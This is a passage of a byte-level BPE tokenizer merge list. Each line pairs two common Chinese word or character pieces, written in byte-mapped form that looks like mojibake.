å·´ +触 åıĬ +èµ· åĪĿ +大 å¦Ī +æĸ¯ å¡Ķ +åĨĽ å·¥ +书 éĻ¢ +å³ ¨ +æİ¨ çIJĨ +è¿Ļç¯ĩ æĸĩ竳 +è¿ģ ç§» +åľ¨ åIJĮä¸Ģ +ç»Ĩ ç»Ĩ +åīĬ å¼± +书 æĪ¿ +ç¶ĵ 常 +è¯ķ é¢ĺ +æĤ£ ä¸Ĭ +çĻ«çĹ« çĹħ +åĨ² æ´Ĺ +å¤ĸ æı´ +åħĭ åζ +åįģ æľĪ +åģļ ä¸įåΰ +ç¾İ åĮĸ +å¦Ĥ æľŁ +è¿ĺ éľĢ +天 åºľ +å°± æĦıåij³çĿĢ +çļĦç¡® æĺ¯ +éªĹ å±Ģ +å°ıç»Ħ èµĽ +è© © +ä¹Ŀ å¹´ +æĻĵ å¾Ĺ +çłĶç©¶ 人åijĺ +大 éħĴåºĹ +ç§ij åѸ +åħŃ åIJĪ +çķĮ å®ļ +车 è½½ +å¼Ģ çĿĢ +毫 æĹłçĸij +毫æĹłçĸij éĹ® +è¿IJ ç»´ +ç¦ģ åĮº +èĦ± èIJ½ +讲 å¸Ī +产ä¸ļ åŁºåľ° +é«ĺ æĢ§èĥ½ +åħī 彩 +çݰ éĺ¶æ®µ +åĩ ¿ +è¾ĥ å·® +饮 çĶ¨æ°´ +éĸĭ çϼ +ç½ij åIJ§ +çĮ´ åŃIJ +æŃ¦ æŀĹ +å®ī åİ¿ +ä¸įåı¯ æĢĿ +ä¸įåı¯æĢĿ è®® +éĬ· åĶ® +è´« ç©· +为 åķ¥ +éº ĵ +å¹¾ åĢĭ +è§Ħ模 以ä¸Ĭ +æı ļ +被 åĽ° +缺 å¸Ń +å¿« é¤IJ +æĬ¢ åįł +æĻ Ł +å¤į æ´» +æľ¬æĬ¥ 讯 +åĪĽ ä¸ĭ +æµ· 滩 +éĩı 产 +å¦Ĥä½ķ åİ» +车 ä½į +å¯ ĩ +äºĮ åįģåĽĽ +ç»ıæµİ æįŁå¤± +éħįå¥Ĺ 设æĸ½ +åŁºæľ¬ éĿ¢ +äºī 论 +就好 åĥı +çłĶç©¶ æĪIJæŀľ +éĻĪ è¿° +æīĵ åĬ¨ +ä¸ĭ å·´ +ç§Ĵ éĴŁ +对 人ä½ĵ +æĬĢæľ¯ çłĶåıij +åİŁ åŃIJ +æĺ¯ä¸Ģ 项 +äºĨä¸Ģ 份 +æĮĩ çͲ +ç͍ éĩı +è¿ĺä¸į å¤Ł +æĶ¿åºľ éĩĩè´Ń +çŁ¥è¯Ĩ çĤ¹ +ä¸ŃåĽ½ 梦 +å¾Ī å¼Ģå¿ĥ +礼 è²Į +éĿŀ常 å¤ļ +éĿŀ常å¤ļ çļĦ +åĽ ļ +æĹħ é¦Ĩ +å°½ æĥħ +æŃĮ åͱ +æ²Ļ é¾Ļ +车 åİ¢ +客 æµģ +åģı å·® +积累 äºĨ +æ¡ Ķ +çĶ» çĶ» +ä¹Ł åºĶ该 +åºĶç͍ ç¨ĭåºı +èĥĥ èĤł +以 å¾Į +豪 å®ħ +æ·± åĬłå·¥ +缴 è¨Ģ +åĮĸ çŁ³ +åĽ½ éģĵ +ä¸ĥ 个 +ä»İèĢĮ 使 +èĤł èĥĥ +æĹ¥ è¶ĭ +çζ åŃIJ +ç· © +æĭĽ çīĮ +产 å¦ĩ +çķª èĮĦ +æĪij éĻ¢ +建çŃij å·¥ç¨ĭ +å±ķè§Ī ä¼ļ +å®¶éķ¿ ä»¬ +åĨľ ä½ľçī© +æĹ¥ å¤ľ +æĶ» æĵĬ +è§Ħ éģ¿ +èĪŁ å±± +便 æ°ij +åħ« åŃĹ +ä¸į æĽ¾ +æĶ¯ éħį +çĨ¬ å¤ľ +人 é¡ŀ +ç´Ģ éĮĦ +ç»ıèIJ¥ æ´»åĬ¨ +大 涨 +å¸Ĥå§Ķ 常å§Ķ +åĪĨ éIJĺ +ä¸Ģ个 èģĮä¸ļ +çĹħ åĽł +è¿Ļ 对äºİ +ä¸įå¾Ĺä¸į 说 +åıijç͵ æľº +æľīæīĢ å¸®åĬ© +缮æłĩ ä»»åĬ¡ +åĽł åľ° +åĽłåľ° åζ +åĽłåľ°åζ å®ľ +å°Ĩ è¾¾åΰ +ç²Ĺ ç³Ļ +稳 åĽº +å« £ +çİ°åľ¨ å¾Īå¤ļ +ä¸ĸçķĮ 级 +å¼ł æŁIJ +çĤ¹ ç¼Ģ +èij µ +社ä¼ļ ç»Ħç»ĩ +å¾Ģ åIJİ +åĬł æģ¯ +åĻª 声 +æľī åħ´è¶£ +为æĤ¨ æıIJä¾Ľ +æ²¹ æ¼Ĩ +ç¬¬åĽĽ å±Ĭ +çļĩ 宫 +ä¹Ĵ ä¹ĵ +ä¹Ĵä¹ĵ çIJĥ +éļ¨ èijĹ +éģ© åIJĪ +åįĹ éĿŀ +æĵ ´ +西 æ´ĭ +åĬł å¯Ĩ +æĪIJåĬ٠䏾åĬŀ +åı£ æ°´ +æĪIJ 年人 +æīĢ æıIJä¾ĽçļĦ +éļĶ å£ģ +åľ¨ 京 +å½ĵåľ° æĹ¶éĹ´ +çŃī åIJĦç§į +é£İ æ°Ķ +å±ĭ éĩĮ +ä¸Ģ åŃĹ +çļĦæĹ¶éĹ´ éĩĮ +åĺ¿ åĺ¿ +å¿« 讯 +ä¸Ń åľº +ä¸Ģ çĵ¶ +æ» ķ +é¢Ĩ è·ij +好 èݱ +好èݱ åĿŀ +没 åħ³ç³» +åĩº å¢ĥ +ä¸įæĺ¯ ä¸Ģ个 +éĥ½æĺ¯ éĿŀ常 +éľĩ åĬ¨ +èİ· èĥľ +åįļ å¼Ī +æĬļ åħ» +对 ç«ĭ +æľįåĬ¡ æľºæŀĦ +è°£ è¨Ģ +社ä¼ļ ç§ijåѦ +åIJ¬è¯´ è¿ĩ +æī ³ +æīĵ 磨 +åı£ æľį +好 åĥıæĺ¯ +以åıĬ åħ¶ä»ĸ +çī¹ è´¨ +亲 è¿ij +ä¸Ģ ç»ı +æ¶ Ŀ +éŃĶ æľ¯ +éģĵè·¯ 交éĢļ +è§Ħ模 æľĢ大 +å®ŀæĸ½ æĦıè§ģ +ä¹ ŀ +ä¸Ģ ä¸ĸ +åŁ· è¡Į +è±Ĩ çĵ£ +åĪĹ ä¸º +æķħ 宫 +çĶŁ åij½åij¨æľŁ +ä¸īç§į èģĮä¸ļ +详ç»Ĩ ä»ĭç»į +å®Į å¤ĩ +岩 çŁ³ +éļı æīĭ +é£ ² +æķĪæŀľ åĽ¾ +ç§ĭ åĨ¬ +åĬŁ å¾· +è§Ħ竳 åĪ¶åº¦ +æĹ¥ æ¸IJ +æīĢ éľĢè¦ģ +æīĢéľĢè¦ģ çļĦ +å²Ľ ä¸Ĭ +åĩº åľŁ +åĽ¾ æĸĩ +ç§ijæĬĢ è¿ĽæŃ¥ +éĢļ èĥĢ +èĢģ 太太 +èĭĹ æľ¨ +éĵ¶ å·Ŀ +å¸IJ 篷 +éĿŀ è¦ģ +éħį ç͵ +å¤Ħ å¢ĥ +èĤ¡æĿĥ æĬķèµĦ +ä¸Ģ缴 åΰ +åĿĩ çͱ +æĬĹ æĹ¥ +æį® ä»ĭç»į +ä½ł åĸľæ¬¢ +åĪĽæĸ° åŀĭ +åıĺ è¿ģ +è§Ĩ å¯Ł +å®Įåħ¨ 没æľī +åħĥ æĹ¦ +åı¯ ä¿¡ +åı¦ è¡Į +æĿij 级 +åħ¥ åľº +æIJŃ æ¡£ +ä¹Ł åĽłæŃ¤ +æį¢ æĪIJ +ä¸į è´Ł +äºĨ 大éĩıçļĦ +éģĶ åΰ +å¸Ĥ åİ¿ +å¹´ è¼ķ +å¿« æīĭ +å¸Į å°Ķ +èĩª èIJ¥ +éĽª èĬ± +æIJ ģ +çľ¼ ç§ij +æŃ£ 確 +çļĦ å§¿æĢģ +åĿļå®ŀ çļĦ +æĮĩ 纹 +æªĶ æ¡Ī +ç½® äºİ +佩 æľį +豪 éŨ +åĵ Ĵ +æģ° 好 +檢 æŁ¥ +åĪĿ è¡· +大 åĶIJ +约 ä¼ļ +èĴ¸ åıij +çѹ åĪĴ +å¹´ ç»Ī +è¡Į æ¥Ń +åħ± éĿĴ +åħ±éĿĴ åĽ¢ +ä¼ļ å¼ķèµ· +ä¸Ń ç§ij +ä¸Ńç§ij éĻ¢ +æĮ¯ åĬ¨ +åį´ åıijçݰ +ä¸įåĬ¨ 产 +èĮ ¹ +æĪ¿éĹ´ éĩĮ +è´§å¸ģ æĶ¿çŃĸ +æ²» çĻĤ +æħİ éĩį +å¡ŀ å°Ķ +åĽ½ ç±į +åĽł æŀľ +çŃī çī¹çĤ¹ +å±± è°· +ä¸ĭ è¼ī +è®ĵ æĪij +饮 éħĴ +è¿Ļ个 游æĪı +ç»Ŀ 大éĥ¨åĪĨ +åĴ¨è¯¢ æľįåĬ¡ +å¹² æ´» +è®® ä¼ļ +æ¦Ĥ è¿° +åĪĨ åĮº +æŃ» åIJİ +ç«Ļ çĿĢ +主è¦ģ é¢Ĩ导 +åIJĮ åŁİ +大 æłij +对 åѦçĶŁ +社ä¼ļ ä¿ĿéĻ© +å¢ŀ èµĦ +主人 åħ¬ +å®£ä¼ł æķĻèĤ² +æĸĩåĮĸ 交æµģ +客 æĪ¶ +çŁ¥åIJį åĵģçīĮ +æ»ŀ åIJİ +äºĴ è¡¥ +æĦŁ äºº +åī ¿ +åIJİ ä»£ +äºī 龸 +æķĻèĤ² åŁ¹è®Ń +éĿĻ èĦī +ä¹ı åĬĽ +说 åĩºæĿ¥ +çİĭèĢħ èį£èĢĢ +åĢ « +åįĩ èµ· +éķ ģ +åĩº 游 +éĢļè¡Į è¯ģ +å·¥ä½ľ å²Ĺä½į +åĮł å¿ĥ +æĭ¿ æĿ¥ +æ´Ĺè¡£ æľº +æĪijä¸į æĥ³ +é¢Ħ è§ģ +æ¼Ķ 示 +ä¸Ģ缴 没æľī +è·Ł 她 +对çħ§ æ£ĢæŁ¥ +ç° ¿ +ä¸ĵ å¿ĥ +è®® äºĭ +åīį 端 +åį¡ å°Ķ +è¨Ń å®ļ +设置 äºĨ +å©ļ 纱 +åľ¨ åĽ½å¤ĸ +åı³ ä¾§ +è³¼ çī© +å¥ĩ èij© +å¢ŀåĬł å̼ +好 è¿IJ +åĽ½éĻħ æľºåľº +ä¸ĭ ç§° +缮åīį 为æŃ¢ +ç¥ŀ ä»Ļ +å®ĥ åı¯ä»¥ +æ¾Ħ æ¸ħ +èĥ½ 使 +游 åĩ» +游åĩ» éĺŁ +åĩ ¹ +ä¸įè¦ģ åĨį +åĨ³ èĥľ +åĨ³ æĪĺ +æĭ ½ +缼 åħ¸ +å¾Ī好 åľ° +æľĢ ç¾İçļĦ +åĥ ļ +å·´ åŁº +å·´åŁº æĸ¯åĿ¦ +æľĢ éĢĤåIJĪ +é«ĺ èģĮ +ä¿Ŀ å§Ĩ +æİĪ æ¬Ĭ +说åΰ è¿ĻéĩĮ +æİ¨ å¼Ģ +çİĩ è¾¾ +ä¸īåĪĨ ä¹ĭä¸Ģ +管çIJĨ ä¸Ńå¿ĥ +交 æ±ĩ +森æŀĹ åħ¬åĽŃ +å¾Ģ ä¸Ĭ +éªij è¡Į +æį® æŃ¤ +纽 带 +ç» ŀ +ä¸ī æĸ¹ +æĦıä¹ī ä¸ĬçļĦ +æİ¨ è¿Ł +å¤ļæł· æĢ§ +æĥ³ èµ·äºĨ +æİĴåIJį 第 +å·¨ é¢Ŀ +æĿŁ ç¼ļ +å®ī å®ļ +äºĭ 實 +çļĦ æĦ¿æľĽ +è£ħå¤ĩ åζéĢł +人 å±ħ +人å±ħ çݯå¢ĥ +å¿ĺè®° äºĨ +该 游æĪı +楼 ä¸Ĭ +å¼Ģ ä¼ļ +æģ ³ +åıĭæĥħ éĵ¾æİ¥ +ç¡ Ĵ +ç»ĻäºĪ äºĨ +åģı 好 +åĵ ī +交éĢļ å®īåħ¨ +éĽ Į +æ²» çĹħ +è§īå¾Ĺ å¾Ī +衬 è¡« +å¿ĥ æĦ¿ +æ´ŀ å¯Ł +æ°ij æ£Ģå¯ŁéĻ¢ +æıIJ çĤ¼ +è¦ģ è¿Ľä¸ĢæŃ¥ +驾 车 +æĻ® æĥł +æķ ĸ +ç¦ı éŁ³ +éĢģ è¾¾ +è§ĦåĪĴ 设计 +æīĭ å¥Ĺ +å®ī ä¿Ŀ +è¿ĺä¸į å¦Ĥ +åīį è¿° +æłĩ è®° +ç´§ æİ¥çĿĢ +æ§ IJ +深深 åľ° +满满 çļĦ +æĺ¥ è¿IJ +æĹ¥ 产 +çα æĬ¤ +åħ¨ æĹ¥ +åħ¨æĹ¥ åζ +转 åĬ¨ +ç¥Ń ç¥Ģ +ä¹° ä¸ľè¥¿ +对 æľªæĿ¥ +æ¶Ī失 äºĨ +åļ´ éĩį +ä¸ī æĿ¡ +éħ¸ 奶 +éĽĨåĽ¢ èĤ¡ä»½ +西 è·¯ +åıª å¾Ĺ +éĢģ åİ» +çĭł æĬĵ +åĪ©ç͍ çİĩ +ä¸ĭ åij¨ +å¥ĭ æĪĺ +æĺ¥èĬĤ æľŁéĹ´ +è´Ł 责任 +æĺĤ è´µ +å°¾ å·´ +ç¯ĩ æĸĩ竳 +åħ ® +è®Ĭ æĪIJ +å¹ ¹ +çĻ» éĮĦ +ä½ Ī +å·¥ åĮł +åĵªæĢķ æĺ¯ +åıį åĵį +ç§ ĥ +åĩº 轨 +æĹ¥ åĨĽ +åIJį èªī +æķı éĶIJ +æľįåĬ¡ æ°´å¹³ +çħ§ å°Ħ +ä¼Ĭ æĭī +ä¼Ĭæĭī åħĭ +åĨħ éĺģ +èĬĴ æŀľ +ä¸ĩ åĪĨ +éĢĢ æ¬¾ +缴æĴŃ éĹ´ +æĭ¿ åΰäºĨ +å°İ èĩ´ +空æ°Ķ ä¸Ń +客æĪ· æľįåĬ¡ +è¿IJ åĬ¿ +ç»ĵ çŁ³ +ä¸į å¿ħè¦ģçļĦ +èĥ¶ åĽĬ +çIJĨ ä¼ļ +æĬ½ åĩº +空æ°Ķ è´¨éĩı +æ¯ķ 竣æĺ¯ +åĨ· æ¼ł +ä¸Ģ å¦Ĥ +ä¸Ģå¦Ĥ æĹ¢ +ä¸Ģå¦ĤæĹ¢ å¾Ģ +æĤ£ çĹħ +åĬł æĮģ +èµŀ åĬ© +é« ® +åij½ ä¸Ń +æĦıä¹ī ä¸Ĭ +ä¸į èĪį +åģļ æ¢¦ +æīĵ æī« +æĺŁ åħī +æĸŃ è£Ĥ +åħ¨ å¥Ĺ +è£ģ å®ļ +马 åħĭæĢĿ +骨 骼 +ä¸Ģ è·¯ä¸Ĭ +å®ļ æĹ¶ +å·¥ç¨ĭ æĬĢæľ¯ +å½¼ å¾Ĺ +æ±² åıĸ +ä¸Ģ è§Ī +åIJµ æŀ¶ +ä¿Ĺ ç§° +æłª æ´² +åºŁ æĹ§ +è¡Į æĺŁ +åıijçĶŁ åıĺåĮĸ +é¦ĸ ä»ĺ +åįģåĪĨ éĩįè¦ģ +æĬĬ è¿ĻäºĽ +ç¥ŀ å·ŀ +æıIJä¾Ľ åķĨ +æ¥ · +å± İ +çĬ¶ åħĥ +åŁİ å¢Ļ +çľĭ ä¸Ģçľĭ +çĶŁäº§ èĥ½åĬĽ +åŁºæľ¬ä¸Ĭ éĥ½ +æīĵ æī° +åĪĿ 次 +åĩº 示 +åħ¶ä¸Ń ä¸Ģ个 +çĶŁæĢģ ç³»ç»Ł +æīĭ æİĮ +æµİåįĹ å¸Ĥ +åľĭ åħ§ +æŃ£ å̼ +å¹¾ ä¹İ +æİ¨èįIJ éĺħ读 +è¿Ń 代 +è°ĥ ä¾ĥ +饮 åĵģ +å¢Ļ ä½ĵ +åıĺ çݰ +äºĨ 好 +äºĨ好 åĩł +ä¸į çķĻ +çĪ ² +å°½ æĹ© +æŃ£åľ¨ è¿Ľè¡Į +åĩº éĻ¢ +æĿĢ å®³ +æıIJ 款 +åıijå±ķ 空éĹ´ +åīį 身 +ä¸įæĸŃ å¢ŀ强 +æ·± å±Ĥ次 +容 纳 +éĤ£ 份 +å·¥ä½ľ æķĪçİĩ +æľ¬ åĽ½ +失 èIJ½ +æŃ£ åĽłä¸º +èĬĤ æ°´ +ä¸ĭ ä¸Ģ代 +çłĶåıij ä¸Ńå¿ĥ +ä¸į çIJĨ +å®Į 好 +ä¿ĿæĬ¤ åĮº +ç»ĵæŀĦ è°ĥæķ´ +å¥ł å®ļ +宣 ç§° +éĺ» æĮ¡ +æĴ¤ 离 +ä¸į æĸ¹ä¾¿ +åĴ ķ +ç¬ijäºĨ ç¬ij +çݯå¢ĥ 污æŁĵ +ä½ı æĪ· +ç»Ŀ ç¼ĺ +éϤ å°ĺ +é«ĺ å°ļ +æĢİä¹Ī åı¯èĥ½ +éĿ¢ èī² +åķĨ æ¥Ń +çĸ ¹ +èµĦæºIJ ä¼ĺåĬ¿ +è¾ĸåĮº åĨħ +èĢĢ çľ¼ +æij§ æ¯ģ +ä¸ĸçķĮ ç»ıæµİ +å¼ķ æĿ¥ +ä¸Ģ åĪĻ +æĭĩ æĮĩ +æĬµ 御 +éĽ į +åĩĨå¤ĩ å·¥ä½ľ +çıł ä¸īè§Ĵ +ç¨Ģ åľŁ +èİ·å¾Ĺ æĦŁ +æĪIJåĬŁ çİĩ +ç½ij 约 +ç½ij约 车 +èĦ IJ +æķ¬ ä¸ļ +éĩij ä»· +ç²¾ é«ĵ +ä¹° 车 +åħ³ åı£ +åĨį å¤ļ +æŀģ åĵģ +åIJĦ å®¶ +举æĬ¥ ç͵è¯Ŀ +èļ Ĭ +æĸ¹ å½¢ +ç§ijæĬĢ æĪIJæŀľ +æľĢ好 æĺ¯ +éĹ® åĢĻ +红 éħĴ +åĽĽ ç§į +ç¿Ĵ æħ +ç¿Ĵæħ £ +åŀ ¦ +éĤ£ åıª +é¢Ĩ æĤŁ +çľ¼ éĥ¨ +æ³° å®ī +ä»» æľŁ +磨 æįŁ +æĽ¿ æį¢ +åħ¸ 礼 +符åIJĪ æĿ¡ä»¶ +è¿ĺæľī ä»Ģä¹Ī +åħ±äº« åįķ车 +åı¯ åĪĨ为 +åŃ£ åIJİ +åŃ£åIJİ èµĽ +举èİŀ å¸Ĥ +å¿ĥ æĦı +æīŃ æĽ² +ä½ľä¸º ä¸Ģç§į +è¿Ļ éĥ¨åĪĨ +åıĤä¸İ åΰ +ç½ij çIJĥ +實 çı¾ +ç»Ħ è£ħ +åIJij å¤ĸ +å·¥ä½ľ æĸ¹æ¡Ī +åįģ æĿ¡ +課 ç¨ĭ +颤 æĬĸ +åĵ © +éĤ® å¯Ħ +äº ¢ +åħį è²» +ç§ ¤ +åºĶæĢ¥ 管çIJĨ +åĽĽ äºĶ +éºĴ éºŁ +å¾Ĵ æŃ¥ +è¨ĺ å¾Ĺ +çĴ IJ +æĺ¯åIJ¦ ä¼ļ +æĦıè§ģ åıįé¦Ī +éļ¾ æĢª +çª į +交 æİ¥ +两 åįĥ +æĩī ç͍ +æľŁ éĸĵ +æIJ¬ åΰ +è®® é¢ĺ +碧 æ¡Ĥ +碧æ¡Ĥ åĽŃ +åģļ çĶŁæĦı +éĻĽ ä¸ĭ +è· ĭ +èĢģ人 å®¶ +带 åĽŀ +æŀ¸ æĿŀ +è¡Į éķ¿ +åĨħ容 ç®Ģä»ĭ +æ¢ ¢ +æĮĩ æİ§ +éĩį çĹĩ +ç½ijåıĭ 们 +çı¾ 代 +ç±» 产åĵģ +å¥Ķ æ³¢ +æ¸ º +ç²ī ç¢İ +è¿Ļ åıªæĺ¯ +æ£Ģå¯Ł æľºåħ³ +é½ Ĭ +æĪ¿ ç§Ł +å¾· æĭī +å²ģ 以ä¸Ĭ +纯 åĩĢ +åĪĨå¸ĥ åľ¨ +èĥ½ å¾Ĺåΰ +ä¸į å°½ +ç«ŀ ä»· +çļĦ 带é¢Ĩ +çļĦ带é¢Ĩ ä¸ĭ +ä¸ŃèᝠæĿIJ +æĿij éķĩ +ä¸įåı¯ éģ¿åħį +éľ² 天 +å°ı å§ijå¨ĺ +çī© ä»¶ +èijĹä½ľ æĿĥ +æĭĺ çķĻ +éĥ½ è§īå¾Ĺ +æĽ² æĬĺ +æ·»åĬł åīĤ +åı¬ åĽŀ +æīİå®ŀ æİ¨è¿Ľ +æĬĦ è¢Ń +åĮĸ 身 +缴 èIJ¥ +ä¹Ł å¸ĮæľĽ +èį£èªī ç§°åı· +åįĸ ç»Ļ +æľī ä¸įåIJĮçļĦ +å¥ĩ çī¹ +éĥ½ 认为 +å¦ ŀ +æĪIJéķ¿ ä¸º +辩 æĬ¤ +主 æķĻç»ĥ +æ³ķå¸Ī èģĮä¸ļ +æ¤į åħ¥ +ç´¢ å°¼ +åIJ¬ è¿ĩ +ä¹łæĥ¯ äºĨ +夺 åıĸ +éŁ ĵ +æľ¬è´¨ ä¸Ĭ +æİ¥ åĬĽ +äºij 端 +è¦ģ åģļ好 +è·¯ çģ¯ +åįıåIJĮ åıijå±ķ +æľī å¾ħ +æ°´ åŁŁ +æIJľçĭIJ é¦ĸ页 +è´¨éĩı å®īåħ¨ +åįģäºĮ äºĶ +åĵ® åĸĺ +èĵ¬åĭĥ åıijå±ķ +åIJį 声 +身 亡 +çİĭ åºľ +åİŁåĪĻ ä¸Ĭ +çĥĺ å¹² +éģĹ æ¼ı +éĿ¢ 缮 +åĽ½ ä¼ļ +ä¸Ģ缴 éĥ½æĺ¯ +æľīä¸Ģ ä½į +éħį æľī +éĻª çĿĢ +ä¼ģ åĽ¾ +æĮī ä¸ĭ +èĵĿ åĽ¾ +æ© ĺ +大å¤ļ æĺ¯ +辩 论 +æĹĭ å¾ĭ +æĬ¥ éĢģ +æĿ¡ è§Ħå®ļ +åĬ¨ éĿĻ +åĮΠ奴 +æĭľ 访 +ä¸Ģ åĪĢ +ä»ĸ çŁ¥éģĵ +主 æĿĥ +ä»ĸ æĽ¾ +æĴŃ ç§į +å£ģ åŀĴ +çī¢è®° 使åij½ +åľ¨è¿Ļ æĸ¹éĿ¢ +æīĭ èħķ +æĶ¯ æŀ¶ +ä¾Ĩ èĩª +éĩį å¡ij +å¤ļ å±Ĥ次 +ä»ĭ è´¨ +éĿ¢ åŃĶ +æ½® 湿 +åİ¿ åŁŁ +游æĪı å½ĵä¸Ń +å£ ŀ +åĪĹ åĩº +èµĽ åĮº +å¤ļ åįĬ +éĩįçĤ¹ å·¥ä½ľ +æĪij们 å¿ħé¡» +æŁı æŀĹ +é²ģ èĥ½ +æĸ½ å±ķ +åIJĦ åĮº +åħį ç¨İ +èµĽ åIJİ +æľĢ éĩįè¦ģ +ä¸Ģ个 好çļĦ +è¿Ŀæ³ķ è¿Ŀè§Ħ +äºĨè§£ æĽ´å¤ļ +æķ¬ 请 +ç¬ijçĿĢ è¯´ +ä¸įæĸŃ åıijå±ķ +æijĦå½± å¸Ī +以 éĺ² +çĤ¸ å¼¹ +声 åĵį +ç¤ ģ +æĩ ¿ +èĪĨ æĥħ +èĩªçͱ è´¸æĺĵ +æķı æį· +ä¸ī大 éĺ¶æ®µ +èĭ Ķ +æĹº åŃ£ +ä¸į 满æĦı +微信 åı· +ä¿® 为 +çł´ è£Ĥ +éĢĥ 离 +æ¯ı èĤ¡ +è¾¾ ä¸įåΰ +æ¯ıå¹´ éĥ½ +çģ¯ ç¬¼ +æŃ¤ åŁºç¡Ģä¸Ĭ +åĥı 个 +åĪĨ 娩 +æĻ ¾ +ä¸į èĩ³äºİ +红 线 +误 è§£ +举 è·¯ +æ·® å®ī +产 åѦ +产åѦ çłĶ +èī¾ æ»ĭ +è»ĭ çĹħ +åīįæıIJ æĺ¯ +æ¯ı ä¸Ģ天 +ä¸ĥ 大 +æłij åı¶ +èµ° å¾Ĺ +è¿Ļ 两ç§į +æİı åĩº +æİ IJ +é¢Ĩ导 èĢħ +ä¸Ģ æľµ +个å¤ļ æľĪ +ä¸Ń åħ³ +ä¸Ńåħ³ æĿij +课åłĤ æķĻåѦ +大 åĴĸ +éģĭ ç͍ +è¯ļ æĦı +ç»Ħ åĽ¾ +è¯ķ çĿĢ +ä¹Ķ æ²» +è¿ĺ ä¸įæĺ¯ +æľī æĽ´å¥½çļĦ +åIJİ å¤ĩ +æĸ°çĶŁ åĦ¿ +æ°Ķ è¡Ģ +æ²¥ éĿĴ +å±ı éļľ +æ¥Ń åĭĻ +æĪij 以为 +éķ¿ çĽ¸ +èĢģ çΏ +éķĩ æ±Ł +æľºæ¢° 设å¤ĩ +ä½Ĩæĺ¯ å¦Ĥæŀľ +åĿļå®ļ ä¸į +åĿļå®ļä¸į ç§» +åĨ² éĶĭ +ç®Ģ缴 æĺ¯ +åĤ¨ èĵĦ +纯 ç͵åĬ¨ +漫 æŃ¥ +举 èµ· +æģ¶ æĢ§ +è¨ĺ éĮĦ +èģĮèĥ½ éĥ¨éŨ +åħ¨ éķ¿ +鼻 è¦ĸ +ä¹³ èħº +ä½ķ å¤Ħ +æ¶Ī æŀģ +æŃ£ å¤Ħäºİ +å®ī å®ģ +æĪIJ éķ· +åıĻ è¿° +æºĥ çĸ¡ +ä½Ĩ çİ°åľ¨ +女 æĺŁ +å©´ å¹¼åĦ¿ +æĬķ èŀįèµĦ +éĹ® éĹ® +æıŃ å¼Ģ +è¯ ı +åIJį å½ķ +èĺij èıĩ +åIJĬ é¡¶ +æ¹ĸ åĮº +åįĸ åľº +建 ç¯ +å»ºç¯ ī +èİ ½ +åIJ¬ åIJ¬ +ç«ŀäºī ä¼ĺåĬ¿ +åĩº ä»» +æľī 两ç§į +橱 æŁľ +è¤ ª +è¯ķ åį· +ç»ıæµİ æĬĢæľ¯ +æ·± å±Ĥ +éĩįè¦ģ åĨħ容 +é£İ æİ§ +çĬ¶æĢģ ä¸ĭ +éĥ¨ éĸĢ +广 æ±½ +è§Ĥ æij© +éģĹ çķĻ +转 è´¦ +æĮģ ä»ĵ +æĢ» 计 +åľĺ éļĬ +æĪ¿ 举 +éĺĢ éŨ +åħ¬ åħ³ +åħ³ åĪĩ +èĤ ĺ +æķ¸ æĵļ +ä¸ī åįģå¹´ +è§ģè¯ģ äºĨ +å± Ĩ +çģ° å°ĺ +æ¦ľ é¦ĸ +è¦ĨçĽĸ çİĩ +ä»Ļ 女 +çĶŁäº§ æĢ» +çĶŁäº§æĢ» å̼ +æĪ¿ è´· +æ±Ł åĮº +åħħç͵ æ¡© +çϾ åIJĪ +確 èªį +转 ç§»åΰ +éĥ½ æĹłæ³ķ +纪念 é¦Ĩ +çŃ¾ç½² äºĨ +å¹¶ä¸į å¤ļ +æĮ ł +ä¸į太 好 +ä¸ĸ 代 +误 导 +é«ĺå³° 论åĿĽ +åħ¼ 容 +龸 æ°Ķ +æĿ¥ 访 +æīĢ å¸¦æĿ¥çļĦ +æĺ¯ä¸Ģ éĥ¨ +æĻļ é¥Ń +åİĨ 代 +åIJ¦ åīĩ +ä¹ħ ä¹ħ +æľīæķĪ æľŁ +诱 åıij +æĢ» èµĦ产 +æľ¬èº« å°±æĺ¯ +çĶŁäº§ åİĤå®¶ +æĹ¶ 髦 +èĢIJ ç͍ +ä»İå°ı å°± +æĿ¡ 约 +èĭ± åĭĩ +ä¿Ĺ è¯Ŀ说 +寺 åºĻ +å¿ĥçIJĨ åģ¥åº· +ä»Ģä¹Ī äºĭæĥħ +æ±ī åŃĹ +çķĻ ä½ı +åįĹ è·¯ +ä¸ī 项 +丢 äºĨ +æĥ³ åΰäºĨ +çѹ éĽĨ +éĻĦåĬł å̼ +西 è£ħ +ä¹ĭ ä½ľ +åģļçļĦ äºĭ +çķ¶ æĤ¨ +çķ¶æĤ¨ åľ¨ +é¦ĸ 款 +ä¸įåľ¨ ä¹İ +å·¥ç¨ĭ æĸ½å·¥ +éļIJ éļIJ +åıĺ 身 +沿 éĢĶ +æĤł æĤł +ä¿Ŀ æļĸ +çĶŁæ´» åŀĥåľ¾ +渤 æµ· +æŃ¦ ä¾ł +女 主è§Ĵ +举 ä¾ĭ +æ ·¨ +çϽ é¢Ĩ +è£Ļ åŃIJ +è¿Ķ è¿ĺ +è¿Ī åĩº +é¾Ļ éŨ +ç»ıæµİ ä½ĵ +æĶ¶ å®ĺ +çķĮ éĻIJ +è·³ åĩº +åįĩ å̼ +绵 éĺ³ +çĸ¤ çĹķ +çľĭ æ¸ħ +æĭĴ çµķ +è¥Ħ éĺ³ +课 å¤ĸ +åŃIJ åŃĻ +æŃĮ è¯į +æĪIJ åIJį +溶 æ¶² +åĦĴ å®¶ +åķĨä¸ļ åĮĸ +辨 åĪ« +å¤ļ è¾¾ +ç½ij åºĹ +ä¹Ŀ 大 +ä¹Ŀ大 ç²¾ç¥ŀ +æŃ¤ 举 +è¿ŀ è½½ +ä¸Ģ åĢĭ人 +èī² æ³½ +æ¶µçĽĸ äºĨ +è¦ı åĬĥ +åĽ½ æĥħ +åį«çĶŁ åģ¥åº· +积æŀģ åĵįåºĶ +æĭ Ļ +åζ åĬ¨ +æĥ³è±¡ åĬĽ +çļĦ ä¹IJè¶£ +å¼łå®¶ çķĮ +å´ İ +éĩį åŀĭ +å¤ĸ å¢Ļ +æĶ¾ åѦ +è®¤çľŁ åŃ¦ä¹ł +è´¬ å̼ +æ³ķ æ¡Ī +æĬ¤èĤ¤ åĵģ +éĻ·åħ¥ äºĨ +请 æĤ¨ +åŀ ¢ +æķĻèĤ² èµĦæºIJ +交æĺĵ å¹³åı° +æĹ¶ è£ħ +ä¼łæŁĵ çĹħ +æ¹ĸ æ³Ĭ +èµĦ 管 +åݨ å¸Ī +éĹľ éį +éĹľéį µ +åĵĪåĵĪ åĵĪ +çĽĹ çªĥ +çĶľ ç¾İ 